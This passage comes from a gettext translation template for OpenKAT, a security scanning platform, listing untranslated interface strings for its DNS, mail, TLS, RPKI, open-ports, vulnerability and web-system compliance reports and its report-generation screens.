\"\n\"framework. Web servers are essential for hosting and serving websites or web \"\n\"applications, while domains represent the online addresses used to access \"\n\"these resources. Other examples of assets in the IT realm include databases, \"\n\"user accounts, software applications, and networking infrastructure. Asset \"\n\"management is a critical aspect of cybersecurity, involving the \"\n\"identification, classification, and protection of these assets to safeguard \"\n\"against threats and ensure the overall security and functionality of an \"\n\"organization's IT environment.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/term_overview.html\nmsgid \"\"\n\"Multiple hostnames that resolve to one IP address where at least one of the \"\n\"hostnames or the IP address has a declared scan level that is at least L1. \"\n\"Type systems are web servers, mail servers and name servers (DNS).\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/term_overview.html\nmsgid \"\"\n\"A fundamental component of the client-server model. A web server uses \"\n\"protocols like HTTP or HTTPS to facilitate communication between clients and \"\n\"the server.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/term_overview.html\nmsgid \"\"\n\"A mail server is a specialized software application or hardware device that \"\n\"facilitates the sending, receiving, and storage of emails within a computer \"\n\"network. Operating on the Simple Mail Transfer Protocol (SMTP) for outgoing \"\n\"messages and either Internet Message Access Protocol (IMAP) or Post Office \"\n\"Protocol (POP) for incoming messages, a mail server manages email \"\n\"communication by routing messages between users and storing them until they \"\n\"are retrieved. The server ensures the efficient and secure transfer of \"\n\"emails, handling tasks such as authentication, spam filtering, and message \"\n\"storage.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/term_overview.html\nmsgid \"\"\n\"A nameserver, or Domain Name System (DNS) server, is a critical component of \"\n\"the internet infrastructure responsible for translating human-readable \"\n\"domain names into IP addresses, enabling the seamless navigation of the web. \"\n\"When a user enters a domain name in a web browser, the nameserver is queried \"\n\"to obtain the corresponding IP address of the server hosting the associated \"\n\"website or service.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/term_overview.html\nmsgid \"\"\n\"A DICOM server, which stands for Digital Imaging and Communications in \"\n\"Medicine, is a specialized server designed for the storage, retrieval, and \"\n\"exchange of medical images and related information in the healthcare \"\n\"industry. DICOM is a widely adopted standard that ensures interoperability \"\n\"and consistency in the communication of medical images and associated data \"\n\"among different devices and systems, such as medical imaging equipment, \"\n\"picture archiving and communication systems (PACS), and radiology \"\n\"information systems (RIS). DICOM servers store and manage patient-specific \"\n\"medical images, like X-rays, CT scans, and MRIs, utilizing a standardized \"\n\"format.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/vulnerabilities.html\n#: reports/report_types/multi_organization_report/vulnerabilities.html\nmsgid \"No CVEs have been found.\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"Records found\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"\"\n\"The DNS report gives an overview of the DNS records that were found for the \"\n\"DNSZone. Additionally the security measures table shows whether or not DNS \"\n\"relating security measures are enabled.\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"\"\n\"<strong>Disclaimer:</strong> Not all DNSRecords are parsed in OpenKAT. DNS \"\n\"record types that are parsed and could be displayed in the table are:\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"All existing DNS record types can be found here:\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"Record\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"TTL\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"Data\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"No records have been found.\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"Security measures\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"\"\n\"The security measures table below shows which DNS relating security measures \"\n\"are enabled based on the contents of the DNS records.\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\n#: reports/templates/partials/report_ooi_list.html\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/modal_partials/rerun_modal.html\n#: reports/templates/summary/ooi_selection.html tools/forms/ooi.py\n#: rocky/templates/partials/elements/ooi_tree_condensed_table.html\n#: rocky/templates/partials/explanations.html\n#: rocky/templates/partials/ooi_detail_related_object.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\n#: rocky/views/mixins.py\nmsgid \"Type\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"Yes\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"No\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\n#: reports/templates/partials/report_findings_table.html\nmsgid \"Other findings found\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"Findings information\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.py\nmsgid \"DNS Report\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.py\nmsgid \"\"\n\"DNS reports focus on domain name system configuration and potential \"\n\"weaknesses.\"\nmsgstr \"\"\n\n#: reports/report_types/findings_report/report.html\nmsgid \"\"\n\"The Findings Report contains information about the findings that have been \"\n\"identified for the selected asset and organization.\"\nmsgstr \"\"\n\n#: reports/report_types/findings_report/report.py\nmsgid \"Findings Report\"\nmsgstr \"\"\n\n#: reports/report_types/findings_report/report.py\nmsgid \"Shows all the finding types and their occurrences.\"\nmsgstr \"\"\n\n#: reports/report_types/ipv6_report/report.html\nmsgid \"\"\n\"The IPv6 report provides an overview of the current IPv6 status of the \"\n\"identified system. The table below shows whether the domain is reachable \"\n\"over IPv6 or not. A green compliance check is shown if this is the case. A \"\n\"grey compliance cross is shown if no IPv6 address was detected.\"\nmsgstr \"\"\n\n#: reports/report_types/ipv6_report/report.html\nmsgid \"IPv6 overview\"\nmsgstr \"\"\n\n#: reports/report_types/ipv6_report/report.html\n#: reports/report_types/systems_report/report.html\nmsgid \"Domain\"\nmsgstr \"\"\n\n#: reports/report_types/ipv6_report/report.py\nmsgid \"IPv6 Report\"\nmsgstr \"\"\n\n#: reports/report_types/ipv6_report/report.py\nmsgid \"Check whether hostnames point to IPv6 addresses.\"\nmsgstr \"\"\n\n#: reports/report_types/mail_report/report.html\nmsgid \"\"\n\"The Mail Report provides an overview of the compliance checks associated \"\n\"with email servers. The current compliance checks the presence of SPF, DKIM \"\n\"and DMARC records. The table below shows for each of these checks how many \"\n\"of the identified mail servers are compliant, and if applicable a compliance \"\n\"issue description and risk level. The risk level may be different for your \"\n\"specific environment.\"\nmsgstr \"\"\n\n#: reports/report_types/mail_report/report.html\nmsgid \"Mailserver compliance\"\nmsgstr \"\"\n\n#: reports/report_types/mail_report/report.html\nmsgid \"mailservers compliant\"\nmsgstr \"\"\n\n#: reports/report_types/mail_report/report.html\nmsgid \"No mailservers have been found on this system.\"\nmsgstr \"\"\n\n#: reports/report_types/mail_report/report.py\nmsgid \"Mail Report\"\nmsgstr \"\"\n\n#: reports/report_types/mail_report/report.py\nmsgid \"\"\n\"System specific Mail Report that focusses on IP addresses and hostnames.\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"Overview of included assets\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"Asset\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\n#: reports/report_types/multi_organization_report/basic_security_details.html\nmsgid \"Amount\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"IP addresses\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"Domain names\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"Assets with most critical vulnerabilities\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"Vulnerability\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"Organisation\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"No vulnerabilities found.\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/basic_security_details.html\nmsgid \"Overview of safe connections\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/basic_security_details.html\n#: reports/report_types/safe_connections_report/report.html\nmsgid \"Only Safe Ciphers\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/basic_security_details.html\n#: reports/report_types/safe_connections_report/report.html\nmsgid \"services are compliant\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/basic_security_details.html\nmsgid \"System specific checks\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/ipv6.html\nmsgid \"IPv6\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/ipv6.html\nmsgid \"\"\n\"IPv6 includes improvements in security features compared to IPv4. While IPv4 \"\n\"can implement security measures, IPv6 was designed with security in mind, \"\n\"and its adoption can contribute to a more secure internet.\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/ipv6.html\nmsgid \"In total \"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/ipv6.html\nmsgid \" out of \"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/ipv6.html\nmsgid \" systems have an IPv6 connection.\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/ipv6.html\nmsgid \"Overview of IP version compliance\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/open_ports.html\nmsgid \"\"\n\"See an overview of open ports found over all systems and the services these \"\n\"systems provide.\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/open_ports.html\nmsgid \"Overview of detected open ports\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/open_ports.html\n#: reports/report_types/open_ports_report/report.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Open ports\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/open_ports.html\nmsgid \"Occurrences (IP addresses)\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/open_ports.html\n#: reports/templates/summary/service_health.html\nmsgid \"Services\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/open_ports.html\nmsgid \"No open ports found.\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/recommendations.html\nmsgid \"Overview of recommendations\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/recommendations.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"Occurrence\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/report.html\nmsgid \"No findings have been identified yet.\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/report.py\nmsgid \"Multi Organization Report\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/summary.html\nmsgid \"Best scoring security check\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/summary.html\nmsgid \"Worst scoring security check\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/vulnerabilities.html\nmsgid \"\"\n\"Vulnerabilities found are grouped per system. Here, we only consider CVE \"\n\"vulnerabilities.\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/vulnerabilities.html\nmsgid \"Vulnerabilities grouped per system\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/vulnerabilities.html\nmsgid \"total\"\nmsgstr \"\"\n\n#: reports/report_types/name_server_report/report.html\nmsgid \"\"\n\"The Name Server Report provides an overview of the compliance checks that \"\n\"were performed against the identified Domain Name Servers (DNS). The \"\n\"compliance checks verify the presence and validity of DNSSEC and whether no \"\n\"unnecessary ports were identified to be open. The table below gives an \"\n\"overview of the available checks including whether the system passed the \"\n\"performed checks. The risk level and reasoning as to why an issue was \"\n\"identified are shown too. The risk level may be different for your specific \"\n\"environment.\"\nmsgstr \"\"\n\n#: reports/report_types/name_server_report/report.html\nmsgid \"Name server compliance\"\nmsgstr \"\"\n\n#: reports/report_types/name_server_report/report.html\nmsgid \"DNSSEC Present\"\nmsgstr \"\"\n\n#: reports/report_types/name_server_report/report.html\nmsgid \"name servers compliant\"\nmsgstr \"\"\n\n#: reports/report_types/name_server_report/report.html\nmsgid \"Valid DNSSEC\"\nmsgstr \"\"\n\n#: reports/report_types/name_server_report/report.html\n#: reports/report_types/web_system_report/report.html\nmsgid \"No unnecessary ports open\"\nmsgstr \"\"\n\n#: reports/report_types/name_server_report/report.html\nmsgid \"No nameservers have been found on this system.\"\nmsgstr \"\"\n\n#: reports/report_types/name_server_report/report.py\nmsgid \"Name Server Report\"\nmsgstr \"\"\n\n#: reports/report_types/name_server_report/report.py\nmsgid \"Name Server Report checks name servers on basic security standards.\"\nmsgstr \"\"\n\n#: reports/report_types/open_ports_report/report.html\nmsgid \"\"\n\"The Open Ports Report provides an overview of the open ports identified on a \"\n\"system. The ports that are marked as <b>bold</b> were identified by direct \"\n\"scans performed by OpenKAT (such as nmap). Ports that are not marked in bold \"\n\"were identified through external services and/or scans (such as Shodan). \"\n\"Scans with the same hostnames, ports and IPs are merged.\"\nmsgstr \"\"\n\n#: reports/report_types/open_ports_report/report.html\nmsgid \"Overview of open ports found for the scanned assets\"\nmsgstr \"\"\n\n#: reports/report_types/open_ports_report/report.html\n#: reports/report_types/systems_report/report.html\nmsgid \"IP address\"\nmsgstr \"\"\n\n#: reports/report_types/open_ports_report/report.html\nmsgid \"Hostnames\"\nmsgstr \"\"\n\n#: reports/report_types/open_ports_report/report.html\nmsgid \"Direct scan\"\nmsgstr \"\"\n\n#: reports/report_types/open_ports_report/report.py\nmsgid \"Open Ports Report\"\nmsgstr \"\"\n\n#: reports/report_types/open_ports_report/report.py\nmsgid \"Find open ports of IP addresses\"\nmsgstr \"\"\n\n#: reports/report_types/rpki_report/report.html\nmsgid \"\"\n\"This section contains basic security information about Resource Public Key \"\n\"Infrastructure (RPKI). If your web server employs RPKI for its IP addresses \"\n\"and associated nameservers, then it enhances visitor protection against \"\n\"misconfigurations and malicious route intercepts through verified route \"\n\"announcements, ensuring reliable server access and secure internet traffic.\"\nmsgstr \"\"\n\n#: reports/report_types/rpki_report/report.html\nmsgid \"\"\n\"The RPKI Report shows if an RPKI route announcement was available for the \"\n\"system and if this announcement is not expired.\"\nmsgstr \"\"\n\n#: reports/report_types/rpki_report/report.html\nmsgid \"RPKI compliance\"\nmsgstr \"\"\n\n#: reports/report_types/rpki_report/report.html\nmsgid \"RPKI Available\"\nmsgstr \"\"\n\n#: reports/report_types/rpki_report/report.html\nmsgid \"RPKI valid\"\nmsgstr \"\"\n\n#: reports/report_types/rpki_report/report.html\nmsgid \"RPKI record is not valid.\"\nmsgstr \"\"\n\n#: reports/report_types/rpki_report/report.html\nmsgid \"RPKI record does not exist.\"\nmsgstr \"\"\n\n#: reports/report_types/rpki_report/report.html\n#: reports/report_types/safe_connections_report/report.html\nmsgid \"No IPs have been found on this system.\"\nmsgstr \"\"\n\n#: reports/report_types/rpki_report/report.py\nmsgid \"RPKI Report\"\nmsgstr \"\"\n\n#: reports/report_types/rpki_report/report.py\nmsgid \"\"\n\"Shows whether the IP is covered by a valid RPKI ROA. For a hostname it shows \"\n\"the IP addresses and whether they are covered by a valid RPKI ROA.\"\nmsgstr \"\"\n\n#: reports/report_types/safe_connections_report/report.html\nmsgid \"\"\n\"The Safe Connections report provides an overview of the performed checks \"\n\"with regard to encrypted communication channels such as HTTPS. The table \"\n\"below gives an overview of the available checks including whether the system \"\n\"passed the performed checks. The risk level and reasoning as to why an issue \"\n\"was identified are shown too. The risk level may be different for your \"\n\"specific environment.\"\nmsgstr \"\"\n\n#: reports/report_types/safe_connections_report/report.html\nmsgid \"Safe connections compliance\"\nmsgstr \"\"\n\n#: reports/report_types/safe_connections_report/report.py\nmsgid \"Safe Connections Report\"\nmsgstr \"\"\n\n#: reports/report_types/safe_connections_report/report.py\nmsgid \"Shows whether the IPService contains safe ciphers.\"\nmsgstr \"\"\n\n#: reports/report_types/systems_report/report.html\nmsgid \"\"\n\"The System Report provides an overview of the system types (types of similar \"\n\"services) that were identified for each system. The following system types \"\n\"can be identified: DNS servers, Web servers, Mail servers and those \"\n\"classified as 'Other' servers. Each hostname and/or IP address is given one \"\n\"or more system types depending on the identified ports and services. The \"\n\"table below gives an overview of these results.\"\nmsgstr \"\"\n\n#: reports/report_types/systems_report/report.html\nmsgid \"Selected assets\"\nmsgstr \"\"\n\n#: reports/report_types/systems_report/report.html\nmsgid \"No system types have been identified on this system.\"\nmsgstr \"\"\n\n#: reports/report_types/systems_report/report.py\nmsgid \"System Report\"\nmsgstr \"\"\n\n#: reports/report_types/systems_report/report.py\nmsgid \"Combine IP addresses, hostnames and services into systems.\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"\"\n\"The TLS Report shows which TLS protocols and ciphers were identified on the \"\n\"host for the provided port.\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"\"\n\"The table below provides an overview of the identified TLS protocols and \"\n\"ciphers, including a status suggestion.\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"Ciphers\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"Protocol\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"Encryption Algorithm\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"Bits\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"Key Size\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.html\n#: rocky/templates/organizations/organization_list.html\n#: rocky/templates/organizations/organization_settings.html\nmsgid \"Code\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"Phase out\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"Good\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"\"\n\"No ciphers were found for this combination of IP address, port and service.\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"\"\n\"The list below gives an overview of the findings based on the identified TLS \"\n\"protocols and ciphers. This includes the reasoning why the cipher or \"\n\"protocol is marked as a finding.\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.py\nmsgid \"TLS Report\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.py\nmsgid \"\"\n\"TLS Report assesses the security of data encryption and transmission \"\n\"protocols.\"\nmsgstr \"\"\n\n#: reports/report_types/vulnerability_report/report.html\nmsgid \"No vulnerabilities have been found on this system.\"\nmsgstr \"\"\n\n#: reports/report_types/vulnerability_report/report.html\nmsgid \"\"\n\"The Vulnerability Report provides an overview of all identified CVE \"\n\"vulnerabilities that were identified on the selected systems. For each CVE \"\n\"the table shows the CVE scoring, the number of occurrences, and the CVE \"\n\"details.\"\nmsgstr \"\"\n\n#: reports/report_types/vulnerability_report/report.html\nmsgid \"vulnerabilities on this system\"\nmsgstr \"\"\n\n#: reports/report_types/vulnerability_report/report.html\nmsgid \"Advice\"\nmsgstr \"\"\n\n#: reports/report_types/vulnerability_report/report.py\nmsgid \"Vulnerability Report\"\nmsgstr \"\"\n\n#: reports/report_types/vulnerability_report/report.py\nmsgid \"Vulnerabilities found are grouped for each system.\"\nmsgstr \"\"\n\n#: reports/report_types/vulnerability_report/report.py\nmsgid \"First seen\"\nmsgstr \"\"\n\n#: reports/report_types/vulnerability_report/report.py\nmsgid \"Last seen\"\nmsgstr \"\"\n\n#: reports/report_types/vulnerability_report/report.py\nmsgid \"Evidence\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"\"\n\"The Web System Report provides an overview of various web server checks that \"\n\"were performed against the scanned system(s). For each performed check the \"\n\"table below shows whether or not the server is compliant with the checks. A \"\n\"description of why this compliant check failed is also shown, including an \"\n\"general risk level. The risk level may be different for your specific \"\n\"environment.\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"Web system compliance\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"CSP Present\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"webservers compliant\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"Secure CSP Header\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"Redirects HTTP to HTTPS\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"Offers HTTPS\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"Has a Security.txt\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"Has a certificate\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"Certificate is valid\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"Certificate is not expiring soon\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"No webservers have been found on this system.\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.py\nmsgid \"Web System Report\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.py\nmsgid \"Web System Reports check web systems on basic security standards.\"\nmsgstr \"\"\n\n#: reports/templates/partials/export_report_settings.html\nmsgid \"Report schedule\"\nmsgstr \"\"\n\n#: reports/templates/partials/export_report_settings.html\nmsgid \"\"\n\"When scheduling your report, you have two options. You can either choose to \"\n\"generate it just once now, or set it to run automatically at regular \"\n\"intervals, like daily, weekly, or monthly. If you need the report just for a \"\n\"single occasion, select the one-time option.\"\nmsgstr \"\"\n\n#: reports/templates/partials/export_report_settings.html\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Report name\"\nmsgstr \"\"\n\n#: reports/templates/partials/export_report_settings.html\n#, python-format, python-brace-format\nmsgid \"\"\n\"When generating reports, it is possible to give the report a name. The name \"\n\"can be static or dynamic. The default format for a report is '${report_type} \"\n\"for ${oois_count} objects'. These placeholders automatically adapt based on \"\n\"the report details. This format could for example return 'Aggregate Report \"\n\"for 15 objects'. Another placeholder that can be used is '${ooi}', which \"\n\"will show the name of the object when there is only one object. You can also \"\n\"customize the name by adding prefixes, suffixes, or other formats like '%%W' \"\n\"for the week number, using options from <a href=\\\"https://strftime.org/\\\" \"\n\"target=\\\"_blank\\\" rel=\\\"noopener\\\">Python strftime code</a>.\"\nmsgstr \"\"\n\n#: reports/templates/partials/export_report_settings.html\n#: reports/templates/partials/generate_report_header.html\n#: reports/templates/partials/new_report_action_button.html\n#: reports/views/generate_report.py\nmsgid \"Generate report\"\nmsgstr \"\"\n\n#: reports/templates/partials/generate_report_header.html\nmsgid \"To generate an aggregate report, complete the following steps.\"\nmsgstr \"\"\n\n#: reports/templates/partials/generate_report_header.html\nmsgid \"To generate a multi report, complete the following steps.\"\nmsgstr \"\"\n\n#: reports/templates/partials/generate_report_header.html\nmsgid \"To generate separate report(s), complete the following steps.\"\nmsgstr \"\"\n\n#: reports/templates/partials/generate_report_sidemenu.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Table of contents\"\nmsgstr \"\"\n\n#: reports/templates/partials/new_report_action_button.html\nmsgid \"Actions for creating a new report\"\nmsgstr \"\"\n\n#: reports/templates/partials/new_report_action_button.html\nmsgid \"Separate report(s)\"\nmsgstr \"\"\n\n#: reports/templates/partials/new_report_action_button.html\n#: reports/views/aggregate_report.py\nmsgid \"Aggregate report\"\nmsgstr \"\"\n\n#: reports/templates/partials/new_report_action_button.html\n#: reports/views/multi_report.py\nmsgid \"Multi report\"\nmsgstr \"\"\n\n#: reports/templates/partials/plugin_overview_table.html\n#: reports/templates/partials/report_sidemenu.html\n#: rocky/templates/oois/ooi_page_tabs.html\nmsgid \"Overview\"\nmsgstr \"\"\n\n#: reports/templates/partials/plugin_overview_table.html\nmsgid \"Plugin overview table\"\nmsgstr \"\"\n\n#: reports/templates/partials/plugin_overview_table.html\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Required plugins\"\nmsgstr \"\"\n\n#: reports/templates/partials/plugin_overview_table.html\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Suggested plugins\"\nmsgstr \"\"\n\n#: reports/templates/partials/plugin_overview_table.html\nmsgid \"Action required\"\nmsgstr \"\"\n\n#: reports/templates/partials/plugin_overview_table.html\nmsgid \"Ready\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_findings_table.html\nmsgid \"\"\n\"This table provides an overview of the identified findings on the scanned \"\n\"systems. For each finding type it shows the risk level, the number of \"\n\"occurrences and the first known occurrence of the finding. The risk level \"\n\"may be different for your specific environment. The details can be seen when \"\n\"expanding a row. A description, the source, impact and recommendation of the \"\n\"finding can be found here. It also shows in which findings the finding type \"\n\"occurred.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_findings_table.html\nmsgid \"First known occurrence\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_findings_table.html\nmsgid \"Open in report\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_findings_table.html\nmsgid \"\"\n\"No critical and high findings have been identified for this organization.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_findings_table.html\nmsgid \"No findings have been identified for this organization.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"Download as PDF\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\n#: rocky/templates/partials/ooi_list_toolbar.html\nmsgid \"Download as JSON\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"Open asset reports\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"This is the OpenKAT report for organization\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"\"\n\"All selected report types for the selected objects are displayed one below \"\n\"the other.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"Created with data from:\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"Created on:\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"Created from recipe:\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"Recipe created by:\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\n#, python-format\nmsgid \"This sector contains %(length)s scanned organizations.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"Of these organizations\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"organizations have tag\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"The basic security scores are around \"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\n#, python-format\nmsgid \"A total of %(total)s critical vulnerabilities have been identified.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_introduction.html\nmsgid \"Introduction\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_introduction.html\nmsgid \"\"\n\"This report gives an overview of the current state of security for your \"\n\"organisation for the selected date. The summary section provides an overview \"\n\"of the selected systems (objects), plugins and reports. This is followed \"\n\"with the findings for each report.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_names_form.html\nmsgid \"Report names:\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_names_form.html\n#: rocky/templates/forms/widgets/checkbox_group_table.html\n#: rocky/templates/oois/ooi_detail_add_related_object.html\n#: rocky/templates/partials/edit_ooi_clearance_level_modal.html\n#: rocky/templates/partials/form/field_input.html\n#: rocky/templates/partials/form/field_input_checkbox.html\n#: rocky/templates/partials/form/field_input_multiselect.html\n#: rocky/templates/partials/form/field_input_radio.html\nmsgid \"Required\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_names_form.html\nmsgid \"Add reference date\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_names_form.html\n#: reports/templates/report_overview/modal_partials/rename_modal.html\nmsgid \"Reset\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_names_form.html\nmsgid \"No reference date\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_names_form.html\nmsgid \"Day\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_names_form.html\nmsgid \"Week\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_names_form.html\nmsgid \"Month\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_names_form.html\nmsgid \"Year\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"Object selection\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"\"\n\"Select which objects you want to include in your report. You can either \"\n\"continue with a live set or you can select the objects manually from the \"\n\"table below.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"\"\n\"A live set is a set of objects based on the applied filters. Any object that \"\n\"matches this applied filter (now or in the future) will be used as input for \"\n\"the scheduled report. If your live set filter (e.g. 'hostnames' with 'L2 \"\n\"clearance' that are 'declared') shows 2 hostnames that match the filter \"\n\"today, the scheduled report will run for those 2 hostnames. If you add 3 \"\n\"more hostnames tomorrow (with the same filter criteria), your next scheduled \"\n\"report will contain 5 hostnames. Your live set will update as you go.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"\"\n\"Based on the current dataset, your selected filters result in the following \"\n\"objects.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"objects selected\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"Deselect all objects\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\n#: rocky/templates/oois/ooi_list.html\n#, 